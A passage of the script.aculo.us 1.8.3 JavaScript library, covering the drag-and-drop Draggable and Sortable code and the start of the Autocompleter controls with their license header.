          queue: {scope:'_draggable', position:'end'},
          afterFinish: function(){
            Draggable._dragging[element] = false
          }
        });
      },
      zindex: 1000,
      revert: false,
      quiet: false,
      scroll: false,
      scrollSensitivity: 20,
      scrollSpeed: 15,
      snap: false,  // false, or xy or [x,y] or function(x,y){ return [x,y] }
      delay: 0
    };

    if(!arguments[1] || Object.isUndefined(arguments[1].endeffect))
      Object.extend(defaults, {
        starteffect: function(element) {
          element._opacity = Element.getOpacity(element);
          Draggable._dragging[element] = true;
          new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7});
        }
      });

    var options = Object.extend(defaults, arguments[1] || { });

    this.element = $(element);

    if(options.handle && Object.isString(options.handle))
      this.handle = this.element.down('.'+options.handle, 0);

    if(!this.handle) this.handle = $(options.handle);
    if(!this.handle) this.handle = this.element;

    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
      options.scroll = $(options.scroll);
      this._isScrollChild = Element.childOf(this.element, options.scroll);
    }

    Element.makePositioned(this.element); // fix IE

    this.options  = options;
    this.dragging = false;

    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
    Event.observe(this.handle, "mousedown", this.eventMouseDown);

    Draggables.register(this);
  },

  destroy: function() {
    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
    Draggables.unregister(this);
  },

  currentDelta: function() {
    return([
      parseInt(Element.getStyle(this.element,'left') || '0'),
      parseInt(Element.getStyle(this.element,'top') || '0')]);
  },

  initDrag: function(event) {
    if(!Object.isUndefined(Draggable._dragging[this.element]) &&
      Draggable._dragging[this.element]) return;
    if(Event.isLeftClick(event)) {
      // abort on form elements, fixes a Firefox issue
      var src = Event.element(event);
      if((tag_name = src.tagName.toUpperCase()) && (
        tag_name=='INPUT' ||
        tag_name=='SELECT' ||
        tag_name=='OPTION' ||
        tag_name=='BUTTON' ||
        tag_name=='TEXTAREA')) return;

      var pointer = [Event.pointerX(event), Event.pointerY(event)];
      var pos     = this.element.cumulativeOffset();
      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });

      Draggables.activate(this);
      Event.stop(event);
    }
  },

  startDrag: function(event) {
    this.dragging = true;
    if(!this.delta)
      this.delta = this.currentDelta();

    if(this.options.zindex) {
      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
      this.element.style.zIndex = this.options.zindex;
    }

    if(this.options.ghosting) {
      this._clone = this.element.cloneNode(true);
      this._originallyAbsolute = (this.element.getStyle('position') == 'absolute');
      if (!this._originallyAbsolute)
        Position.absolutize(this.element);
      this.element.parentNode.insertBefore(this._clone, this.element);
    }

    if(this.options.scroll) {
      if (this.options.scroll == window) {
        var where = this._getWindowScroll(this.options.scroll);
        this.originalScrollLeft = where.left;
        this.originalScrollTop = where.top;
      } else {
        this.originalScrollLeft = this.options.scroll.scrollLeft;
        this.originalScrollTop = this.options.scroll.scrollTop;
      }
    }

    Draggables.notify('onStart', this, event);

    if(this.options.starteffect) this.options.starteffect(this.element);
  },

  updateDrag: function(event, pointer) {
    if(!this.dragging) this.startDrag(event);

    if(!this.options.quiet){
      Position.prepare();
      Droppables.show(pointer, this.element);
    }

    Draggables.notify('onDrag', this, event);

    this.draw(pointer);
    if(this.options.change) this.options.change(this);

    if(this.options.scroll) {
      this.stopScrolling();

      var p;
      if (this.options.scroll == window) {
        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
      } else {
        p = Position.page(this.options.scroll);
        p[0] += this.options.scroll.scrollLeft + Position.deltaX;
        p[1] += this.options.scroll.scrollTop + Position.deltaY;
        p.push(p[0]+this.options.scroll.offsetWidth);
        p.push(p[1]+this.options.scroll.offsetHeight);
      }
      var speed = [0,0];
      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
      this.startScrolling(speed);
    }

    // fix AppleWebKit rendering
    if(Prototype.Browser.WebKit) window.scrollBy(0,0);

    Event.stop(event);
  },

  finishDrag: function(event, success) {
    this.dragging = false;

    if(this.options.quiet){
      Position.prepare();
      var pointer = [Event.pointerX(event), Event.pointerY(event)];
      Droppables.show(pointer, this.element);
    }

    if(this.options.ghosting) {
      if (!this._originallyAbsolute)
        Position.relativize(this.element);
      delete this._originallyAbsolute;
      Element.remove(this._clone);
      this._clone = null;
    }

    var dropped = false;
    if(success) {
      dropped = Droppables.fire(event, this.element);
      if (!dropped) dropped = false;
    }
    if(dropped && this.options.onDropped) this.options.onDropped(this.element);
    Draggables.notify('onEnd', this, event);

    var revert = this.options.revert;
    if(revert && Object.isFunction(revert)) revert = revert(this.element);

    var d = this.currentDelta();
    if(revert && this.options.reverteffect) {
      if (dropped == 0 || revert != 'failure')
        this.options.reverteffect(this.element,
          d[1]-this.delta[1], d[0]-this.delta[0]);
    } else {
      this.delta = d;
    }

    if(this.options.zindex)
      this.element.style.zIndex = this.originalZ;

    if(this.options.endeffect)
      this.options.endeffect(this.element);

    Draggables.deactivate(this);
    Droppables.reset();
  },

  keyPress: function(event) {
    if(event.keyCode!=Event.KEY_ESC) return;
    this.finishDrag(event, false);
    Event.stop(event);
  },

  endDrag: function(event) {
    if(!this.dragging) return;
    this.stopScrolling();
    this.finishDrag(event, true);
    Event.stop(event);
  },

  draw: function(point) {
    var pos = this.element.cumulativeOffset();
    if(this.options.ghosting) {
      var r   = Position.realOffset(this.element);
      pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY;
    }

    var d = this.currentDelta();
    pos[0] -= d[0]; pos[1] -= d[1];

    if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
    }

    var p = [0,1].map(function(i){
      return (point[i]-pos[i]-this.offset[i])
    }.bind(this));

    if(this.options.snap) {
      if(Object.isFunction(this.options.snap)) {
        p = this.options.snap(p[0],p[1],this);
      } else {
      if(Object.isArray(this.options.snap)) {
        p = p.map( function(v, i) {
          return (v/this.options.snap[i]).round()*this.options.snap[i] }.bind(this));
      } else {
        p = p.map( function(v) {
          return (v/this.options.snap).round()*this.options.snap }.bind(this));
      }
    }}

    var style = this.element.style;
    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
      style.left = p[0] + "px";
    if((!this.options.constraint) || (this.options.constraint=='vertical'))
      style.top  = p[1] + "px";

    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
  },

  stopScrolling: function() {
    if(this.scrollInterval) {
      clearInterval(this.scrollInterval);
      this.scrollInterval = null;
      Draggables._lastScrollPointer = null;
    }
  },

  startScrolling: function(speed) {
    if(!(speed[0] || speed[1])) return;
    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
    this.lastScrolled = new Date();
    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
  },

  scroll: function() {
    var current = new Date();
    var delta = current - this.lastScrolled;
    this.lastScrolled = current;
    if(this.options.scroll == window) {
      with (this._getWindowScroll(this.options.scroll)) {
        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
          var d = delta / 1000;
          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
        }
      }
    } else {
      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
    }

    Position.prepare();
    Droppables.show(Draggables._lastPointer, this.element);
    Draggables.notify('onDrag', this);
    if (this._isScrollChild) {
      Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
      Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
      Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
      if (Draggables._lastScrollPointer[0] < 0)
        Draggables._lastScrollPointer[0] = 0;
      if (Draggables._lastScrollPointer[1] < 0)
        Draggables._lastScrollPointer[1] = 0;
      this.draw(Draggables._lastScrollPointer);
    }

    if(this.options.change) this.options.change(this);
  },

  _getWindowScroll: function(w) {
    var T, L, W, H;
    with (w.document) {
      if (w.document.documentElement && documentElement.scrollTop) {
        T = documentElement.scrollTop;
        L = documentElement.scrollLeft;
      } else if (w.document.body) {
        T = body.scrollTop;
        L = body.scrollLeft;
      }
      if (w.innerWidth) {
        W = w.innerWidth;
        H = w.innerHeight;
      } else if (w.document.documentElement && documentElement.clientWidth) {
        W = documentElement.clientWidth;
        H = documentElement.clientHeight;
      } else {
        W = body.offsetWidth;
        H = body.offsetHeight;
      }
    }
    return { top: T, left: L, width: W, height: H };
  }
});

Draggable._dragging = { };

/*--------------------------------------------------------------------------*/

var SortableObserver = Class.create({
  initialize: function(element, observer) {
    this.element   = $(element);
    this.observer  = observer;
    this.lastValue = Sortable.serialize(this.element);
  },

  onStart: function() {
    this.lastValue = Sortable.serialize(this.element);
  },

  onEnd: function() {
    Sortable.unmark();
    if(this.lastValue != Sortable.serialize(this.element))
      this.observer(this.element)
  }
});

var Sortable = {
  SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,

  sortables: { },

  _findRootElement: function(element) {
    while (element.tagName.toUpperCase() != "BODY") {
      if(element.id && Sortable.sortables[element.id]) return element;
      element = element.parentNode;
    }
  },

  options: function(element) {
    element = Sortable._findRootElement($(element));
    if(!element) return;
    return Sortable.sortables[element.id];
  },

  destroy: function(element){
    element = $(element);
    var s = Sortable.sortables[element.id];

    if(s) {
      Draggables.removeObserver(s.element);
      s.droppables.each(function(d){ Droppables.remove(d) });
      s.draggables.invoke('destroy');

      delete Sortable.sortables[s.element.id];
    }
  },

  create: function(element) {
    element = $(element);
    var options = Object.extend({
      element:     element,
      tag:         'li',       // assumes li children, override with tag: 'tagname'
      dropOnEmpty: false,
      tree:        false,
      treeTag:     'ul',
      overlap:     'vertical', // one of 'vertical', 'horizontal'
      constraint:  'vertical', // one of 'vertical', 'horizontal', false
      containment: element,    // also takes array of elements (or id's); or false
      handle:      false,      // or a CSS class
      only:        false,
      delay:       0,
      hoverclass:  null,
      ghosting:    false,
      quiet:       false,
      scroll:      false,
      scrollSensitivity: 20,
      scrollSpeed: 15,
      format:      this.SERIALIZE_RULE,

      // these take arrays of elements or ids and can be
      // used for better initialization performance
      elements:    false,
      handles:     false,

      onChange:    Prototype.emptyFunction,
      onUpdate:    Prototype.emptyFunction
    }, arguments[1] || { });

    // clear any old sortable with same element
    this.destroy(element);

    // build options for the draggables
    var options_for_draggable = {
      revert:      true,
      quiet:       options.quiet,
      scroll:      options.scroll,
      scrollSpeed: options.scrollSpeed,
      scrollSensitivity: options.scrollSensitivity,
      delay:       options.delay,
      ghosting:    options.ghosting,
      constraint:  options.constraint,
      handle:      options.handle };

    if(options.starteffect)
      options_for_draggable.starteffect = options.starteffect;

    if(options.reverteffect)
      options_for_draggable.reverteffect = options.reverteffect;
    else
      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
        element.style.top  = 0;
        element.style.left = 0;
      };

    if(options.endeffect)
      options_for_draggable.endeffect = options.endeffect;

    if(options.zindex)
      options_for_draggable.zindex = options.zindex;

    // build options for the droppables
    var options_for_droppable = {
      overlap:     options.overlap,
      containment: options.containment,
      tree:        options.tree,
      hoverclass:  options.hoverclass,
      onHover:     Sortable.onHover
    };

    var options_for_tree = {
      onHover:      Sortable.onEmptyHover,
      overlap:      options.overlap,
      containment:  options.containment,
      hoverclass:   options.hoverclass
    };

    // fix for gecko engine
    Element.cleanWhitespace(element);

    options.draggables = [];
    options.droppables = [];

    // drop on empty handling
    if(options.dropOnEmpty || options.tree) {
      Droppables.add(element, options_for_tree);
      options.droppables.push(element);
    }

    (options.elements || this.findElements(element, options) || []).each( function(e,i) {
      var handle = options.handles ? $(options.handles[i]) :
        (options.handle ? $(e).select('.' + options.handle)[0] : e);
      options.draggables.push(
        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
      Droppables.add(e, options_for_droppable);
      if(options.tree) e.treeNode = element;
      options.droppables.push(e);
    });

    if(options.tree) {
      (Sortable.findTreeElements(element, options) || []).each( function(e) {
        Droppables.add(e, options_for_tree);
        e.treeNode = element;
        options.droppables.push(e);
      });
    }

    // keep reference
    this.sortables[element.identify()] = options;

    // for onupdate
    Draggables.addObserver(new SortableObserver(element, options.onUpdate));

  },

  // return all suitable-for-sortable elements in a guaranteed order
  findElements: function(element, options) {
    return Element.findChildren(
      element, options.only, options.tree ? true : false, options.tag);
  },

  findTreeElements: function(element, options) {
    return Element.findChildren(
      element, options.only, options.tree ? true : false, options.treeTag);
  },

  onHover: function(element, dropon, overlap) {
    if(Element.isParent(dropon, element)) return;

    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
      return;
    } else if(overlap>0.5) {
      Sortable.mark(dropon, 'before');
      if(dropon.previousSibling != element) {
        var oldParentNode = element.parentNode;
        element.style.visibility = "hidden"; // fix gecko rendering
        dropon.parentNode.insertBefore(element, dropon);
        if(dropon.parentNode!=oldParentNode)
          Sortable.options(oldParentNode).onChange(element);
        Sortable.options(dropon.parentNode).onChange(element);
      }
    } else {
      Sortable.mark(dropon, 'after');
      var nextElement = dropon.nextSibling || null;
      if(nextElement != element) {
        var oldParentNode = element.parentNode;
        element.style.visibility = "hidden"; // fix gecko rendering
        dropon.parentNode.insertBefore(element, nextElement);
        if(dropon.parentNode!=oldParentNode)
          Sortable.options(oldParentNode).onChange(element);
        Sortable.options(dropon.parentNode).onChange(element);
      }
    }
  },

  onEmptyHover: function(element, dropon, overlap) {
    var oldParentNode = element.parentNode;
    var droponOptions = Sortable.options(dropon);

    if(!Element.isParent(dropon, element)) {
      var index;

      var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only});
      var child = null;

      if(children) {
        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);

        for (index = 0; index < children.length; index += 1) {
          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
            offset -= Element.offsetSize (children[index], droponOptions.overlap);
          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
            child = index + 1 < children.length ? children[index + 1] : null;
            break;
          } else {
            child = children[index];
            break;
          }
        }
      }

      dropon.insertBefore(element, child);

      Sortable.options(oldParentNode).onChange(element);
      droponOptions.onChange(element);
    }
  },

  unmark: function() {
    if(Sortable._marker) Sortable._marker.hide();
  },

  mark: function(dropon, position) {
    // mark on ghosting only
    var sortable = Sortable.options(dropon.parentNode);
    if(sortable && !sortable.ghosting) return;

    if(!Sortable._marker) {
      Sortable._marker =
        ($('dropmarker') || Element.extend(document.createElement('DIV'))).
          hide().addClassName('dropmarker').setStyle({position:'absolute'});
      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
    }
    var offsets = dropon.cumulativeOffset();
    Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'});

    if(position=='after')
      if(sortable.overlap == 'horizontal')
        Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'});
      else
        Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'});

    Sortable._marker.show();
  },

  _tree: function(element, options, parent) {
    var children = Sortable.findElements(element, options) || [];

    for (var i = 0; i < children.length; ++i) {
      var match = children[i].id.match(options.format);

      if (!match) continue;

      var child = {
        id: encodeURIComponent(match ? match[1] : null),
        element: element,
        parent: parent,
        children: [],
        position: parent.children.length,
        container: $(children[i]).down(options.treeTag)
      };

      /* Get the element containing the children and recurse over it */
      if (child.container)
        this._tree(child.container, options, child);

      parent.children.push (child);
    }

    return parent;
  },

  tree: function(element) {
    element = $(element);
    var sortableOptions = this.options(element);
    var options = Object.extend({
      tag: sortableOptions.tag,
      treeTag: sortableOptions.treeTag,
      only: sortableOptions.only,
      name: element.id,
      format: sortableOptions.format
    }, arguments[1] || { });

    var root = {
      id: null,
      parent: null,
      children: [],
      container: element,
      position: 0
    };

    return Sortable._tree(element, options, root);
  },

  /* Construct a [i] index for a particular node */
  _constructIndex: function(node) {
    var index = '';
    do {
      if (node.id) index = '[' + node.position + ']' + index;
    } while ((node = node.parent) != null);
    return index;
  },

  sequence: function(element) {
    element = $(element);
    var options = Object.extend(this.options(element), arguments[1] || { });

    return $(this.findElements(element, options) || []).map( function(item) {
      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
    });
  },

  setSequence: function(element, new_sequence) {
    element = $(element);
    var options = Object.extend(this.options(element), arguments[2] || { });

    var nodeMap = { };
    this.findElements(element, options).each( function(n) {
        if (n.id.match(options.format))
            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
        n.parentNode.removeChild(n);
    });

    new_sequence.each(function(ident) {
      var n = nodeMap[ident];
      if (n) {
        n[1].appendChild(n[0]);
        delete nodeMap[ident];
      }
    });
  },

  serialize: function(element) {
    element = $(element);
    var options = Object.extend(Sortable.options(element), arguments[1] || { });
    var name = encodeURIComponent(
      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);

    if (options.tree) {
      return Sortable.tree(element, arguments[1]).children.map( function (item) {
        return [name + Sortable._constructIndex(item) + "[id]=" +
                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
      }).flatten().join('&');
    } else {
      return Sortable.sequence(element, arguments[1]).map( function(item) {
        return name + "[]=" + encodeURIComponent(item);
      }).join('&');
    }
  }
};

// Returns true if child is contained within element
Element.isParent = function(child, element) {
  if (!child.parentNode || child == element) return false;
  if (child.parentNode == element) return true;
  return Element.isParent(child.parentNode, element);
};

Element.findChildren = function(element, only, recursive, tagName) {
  if(!element.hasChildNodes()) return null;
  tagName = tagName.toUpperCase();
  if(only) only = [only].flatten();
  var elements = [];
  $A(element.childNodes).each( function(e) {
    if(e.tagName && e.tagName.toUpperCase()==tagName &&
      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
        elements.push(e);
    if(recursive) {
      var grandchildren = Element.findChildren(e, only, recursive, tagName);
      if(grandchildren) elements.push(grandchildren);
    }
  });

  return (elements.length>0 ? elements.flatten() : []);
};

Element.offsetSize = function (element, type) {
  return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')];
};



// script.aculo.us controls.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009

// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//           (c) 2005-2009 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
//           (c) 2005-2009 Jon Tirsen (http://www.tirsen.com)
// Contributors:
//  Richard Livsey
//  Rahul Bhargava
//  Rob Wills
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

// Autocompleter.Base handles all the autocompletion functionality
// that's independent of the data source for autocompletion. This
// includes drawing the autocompletion menu, observing keyboard
// and mouse events, and similar.
//
// Specific autocompleters need to provide, at the very least,
// a getUpdatedChoices function that will be invoked every time
// the text inside the monitored textbox changes. This method
// should get the text for which to provide autocompletion by
// invoking this.getToken(), NOT by directly accessing
// this.element.value. This is to allow incremental tokenized
// autocompletion. Specific auto-completion logic (AJAX, etc)
// belongs in getUpdatedChoices.
//
// Tokenized incremental autocompletion is enabled automatically
// when an autocompleter is instantiated with the 'tokens' option
// in the options parameter, e.g.:
// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
// will incrementally autocomplete with a comma as the token.
// Additionally, ',' in the above example can be replaced with
// a token array, e.g. { tokens: [',', '\n'] } which
// enables autocompletion on multiple tokens. This is most
// useful when one of the tokens is \n (a newline), as it
// allows smart autocompletion after linebreaks.

if(typeof Effect == 'undefined')
  throw("controls.js requires including script.aculo.us' effects.js library");

var Autocompleter = { };
Autocompleter.Base = Class.create({
  baseInitialize: function(element, update, options) {
    element          = $(element);
    this.element     = element;
    this.update      = $(update);
    this.hasFocus    = false;
    this.changed     = false;
    this.active      = false;
    this.index       = 0;
    this.entryCount  = 0;
    this.oldElementValue = this.element.value;

    if(this.setOptions)
      this.setOptions(options);
    else
      this.options = options || { };

    this.options.paramName    = this.options.paramName || this.element.name;
    this.options.tokens       = this.options.tokens || [];
    this.options.frequency    = this.options.frequency || 0.4;
    this.options.minChars     = this.options.minChars || 1;
    this.options.onShow       = this.options.onShow ||
      function(element, update){
        if(!update.style.position || update.style.position=='absolute') {
          update.style.position = 'absolute';
          Position.clone(element, update, {
            setHeight: false,
            offsetTop: element.offsetHeight
          });
        }
        Effect.Appear(update,{duration:0.15});
      };
    this.options.onHide = this.options.onHide ||
      function(element, update){ new Effect.Fade(update,{duration:0.15}) };

    if(typeof(this.options.tokens) == 'string')
      this.options.tokens = new Array(this.options.tokens);
    // Force carriage returns as token delimiters anyway
    if (!this.options.tokens.include('\n'))
      this.options.tokens.push('\n');

    this.observer = null;

    this.element.setAttribute('autocomplete','off');

    Element.hide(this.update);

    Event.observe(this.element, 'blur', this.onBlur.bindAsEventListener(this));
    Event.observe(this.element, 'keydown', this.onKeyPress.bindAsEventListener(this));
  },

  show: function() {
    if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update);
    if(!this.iefix &&
      (Prototype.Browser.IE) &&
      (Element.getStyle(this.update, 'position')=='absolute')) {
      new Insertion.After(this.update,
       '<iframe id="' + this.update.id + '_iefix" '+
       'style="display:none;position:absolute;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);" ' +
       'src="javascript:false;" frameborder="0" scrolling="no"></iframe>');
      this.iefix = $(this.update.id+'_iefix');
    }
    if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50);
  },

  fixIEOverlapping: function() {
    Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)});
    this.iefix.style.zIndex = 1;
    this.update.style.zIndex = 2;
    Element.show(this.iefix);
  },

  hide: function() {
    this.stopIndicator();
    if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update);
    if(this.iefix) Element.hide(this.iefix);
  },

  startIndicator: function() {
    if(this.options.indicator) Element.show(this.options.indicator);
  },

  stopIndicator: function() {
    if(this.options.indicator) Element.hide(this.options.indicator);
  },

  onKeyPress: function(event) {
    if(this.active)
      switch(event.keyCode) {
       case Event.KEY_TAB:
       case Event.KEY_RETURN:
         this.selectEntry();
         Event.stop(event);
       case Event.KEY_ESC:
         this.hide();
         this.active = false;
         Event.stop(event);
         return;
       case Event.KEY_LEFT:
       case Event.KEY_RIGHT:
         return;
       case Event.KEY_UP:
         this.markPrevious();
         this.render();
         Event.stop(event);
         return;
       case Event.KEY_DOWN:
         this.markNext();
         this.render();
         Event.stop(event);
         return;
      }
     else
       if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN ||
         (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return;

    this.changed = true;
    this.hasFocus = true;

    if(this.observer) clearTimeout(this.observer);
      this.observer =
        setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000);
  },

  activate: function() {
    this.changed = false;
    this.hasFocus = true;
    this.getUpdatedChoices();
  },

  onHover: function(event) {
    var element = Event.findElement(event, 'LI');
    if(this.index != element.autocompleteIndex)
    {
        this.index = element.autocompleteIndex;
        this.render();
    }
    Event.stop(event);
  },

  onClick: function(event) {
    var element = Event.findElement(event, 'LI');
    this.index = element.autocompleteIndex;
    this.selectEntry();
    this.hide();
  },

  onBlur: function(event) {
    // needed to make click events working
    setTimeout(this.hide.bind(this), 250);
    this.hasFocus = false;
    this.active = false;
  },

  render: function() {
    if(this.entryCount > 0) {
      for (var i = 0; i < this.entryCount; i++)
        this.index==i ?
          Element.addClassName(this.getEntry(i),"selected") :
          Element.removeClassName(this.getEntry(i),"selected");
      if(this.hasFocus) {
        this.show();
        this.active = true;
      }
    } else {
      this.active = false;
      this.hide();
    }
  },

  markPrevious: function() {
    if(this.index > 0) this.index--;
      else this.index = this.entryCount-1;
    this.getEntry(this.index).scrollIntoView(true);
  },

  markNext: function() {
    if(this.index < this.entryCount-1) this.index++;
      else this.index = 0;
    this.getEntry(this.index).scrollIntoView(false);
  },

  getEntry: function(index) {
    return this.update.firstChild.childNodes[index];
  },

  getCurrentEntry: function() {
    return this.getEntry(this.index);
  },

  selectEntry: function() {
    this.active = false;
    this.updateElement(this.getCurrentEntry());
  },

  updateElement: function(selectedElement) {
    if (this.options.updateElement) {
      this.options.updateElement(selectedElement);
      return;
    }
    var value = '';
    if (this.options.select) {
      var nodes = $(selectedElement).select('.' + this.options.select) || [];
      if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select);
    } else
      value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal');

    var bounds = this.getTokenBounds();
    if (bounds[0] != -1) {
      var newValue = this.element.value.substr(0, bounds[0]);
      var whitespace = this.element.value.substr(bounds[0]).match(/^\s+/);
      if (whitespace)
        newValue += whitespace[0];
      this.element.value = newValue + value + this.element.value.substr(bounds[1]);
    } else {
      this.element.value = value;
    }
    this.oldElementValue = this.element.value;
    this.element.focus();

    if (this.options.afterUpdateElement)
      this.options.afterUpdateElement(this.element, selectedElement);
  },

  updateChoices: function(choices) {
    if(!this.changed && this.hasFocus) {
      this.update.innerHTML = choices;
      Element.cleanWhitespace(this.update);
      Element.cleanWhitespace(this.update.down());

      if(this.update.firstChild && this.update.down().childNodes) {
        this.entryCount =
          this.update.down().childNodes.length;
        for (var i = 0; i < this.entryCount; i++) {
          var entry = this.getEntry(i);
          entry.autocompleteIndex = i;
          this.addObservers(entry);
        }
      } else {
        this.entryCount = 0;
      }

      this.stopIndicator();
      this.index = 0;

      if(this.entryCount==1 && this.options.autoSelect) {
        this.selectEntry();
        this.hide();
      } else {
        this.render();
      }
    }
  },

  addObservers: function(element) {
    Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this));
    Event.observe(element, "click", this.onClick.bindAsEventListener(this));
  },

  onObserverEvent: function() {
    this.changed = false;
    this.tokenBounds = null;
    if(this.getToken().length>=this.options.minChars) {
      this.getUpdatedChoices();
    } else {
      this.active = false;
      this.hide();
    }
    this.oldElementValue = this.element.value;
  },

  getToken: function() {
    var bounds = this.getTokenBounds();
    return this.element.value.substring(bounds[0], bounds[1]).strip();
  },

  getTokenBounds: function() {
    if (null != this.tokenBounds) return this.tokenBounds;
    var value = this.element.value;
    if (value.strip().empty()) return [-1, 0];
    var diff = arguments.callee.getFirstDifferencePos(value, this.oldElementValue);
    var offset = (diff == this.oldElementValue.length ? 1 : 0);
    var prevTokenPos = -1, nextTokenPos = value.length;
    var tp;
    for (var index = 0, l = this.options.tokens.length; index < l; ++index) {
      tp = value.lastIndexOf(this.options.tokens[index], diff + offset - 1);
      if (tp > prevTokenPos) prevTokenPos = tp;
      tp = value.indexOf(this.options.tokens[index], diff + offset);
      if (-1 != tp && tp < nextTokenPos) nextTokenPos = tp;
    }
    return (this.tokenBounds = [prevTokenPos + 1, nextTokenPos]);
  }
});

Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos = function(newS, oldS) {
  var boundary = Math.min(newS.length, oldS.length);
  for (var index = 0; index < boundary; ++index)
    if (newS[index] != oldS[index])
      return index;
  return boundary;
};

Ajax.Autocompleter = Class.create(Autocompleter.Base, {
  initialize: function(element, update, url, options) {
    this.baseInitialize(element, update, options);
    this.options.asynchronous  = true;
    this.options.onComplete    = this.onComplete.bind(this);
    this.options.defaultParams = this.options.parameters || null;
    this.url                   = url;
  },

  getUpdatedChoices: function() {
    this.startIndicator();

    var entry = encodeURIComponent(this.options.paramName) + '=' +
      encodeURIComponent(this.getToken());

    this.options.parameters = this.options.callback ?
      this.options.callback(this.element, entry) : entry;

    if(this.options.defaultParams)
      this.options.parameters += '&' + this.options.defaultParams;

    new Ajax.Request(this.url, this.options);
  },

  onComplete: function(request) {
    this.updateChoices(request.responseText);
  }
});

// The local array autocompleter. Used when you'd prefer to
// inject an array of autocompletion options into the page, rather
// than sending out Ajax queries, which can be quite slow sometimes.
//
// The constructor takes four parameters. The first two are, as usual,
// the id of the monitored textbox, and id of the autocompletion menu.
// The third is the array you want to autocomplete from, and the fourth
// is the options block.
//
// Extra local autocompletion options:
// - choices - How many autocompletion choices to offer
//
// - partialSearch - If false, the autocompleter will match entered
//                    text only at the beginning of strings in the
//                    autocomplete array. Defaults to true, which will
//                    match text at the beginning of any *word* in the
//                    strings in the autocomplete array. If you want to
//                    search anywhere in the string, additionally set
//                    the option fullSearch to true (default: off).
//
// - fullSsearch - Search anywhere in autocomplete array strings.
//
// - partialChars - How many characters to enter before triggering
//                   a partial match (unlike minChars, which defines
//                   how many characters are required to do any match
//                   at all). Defaults to 2.
//
// - ignoreCase - Whether to ignore case when autocompleting.
//                 Defaults to true.
//
// It's possible to pass in a custom function as the 'selector'
// option, if you prefer to write your own autocompletion logic.
// In that case, the other options above will not apply unless
// you support them.

Autocompleter.Local = Class.create(Autocompleter.Base, {
  initialize: function(element, update, array, options) {
    this.baseInitialize(element, update, options);
    this.options.array = array;
  },

  getUpdatedChoices: function() {
    this.updateChoices(this.options.selector(this));
  },

  setOptions: function(options) {
    this.options = Object.extend({
      choices: 10,
      partialSearch: true,
      partialChars: 2,
      ignoreCase: true,
      fullSearch: false,
      selector: function(instance) {
        var ret       = []; // Beginning matches
        var partial   = []; // Inside matches
        var entry     = instance.getToken();
        var count     = 0;

        for (var i = 0; i < instance.options.array.length &&
          ret.length < instance.options.choices ; i++) {

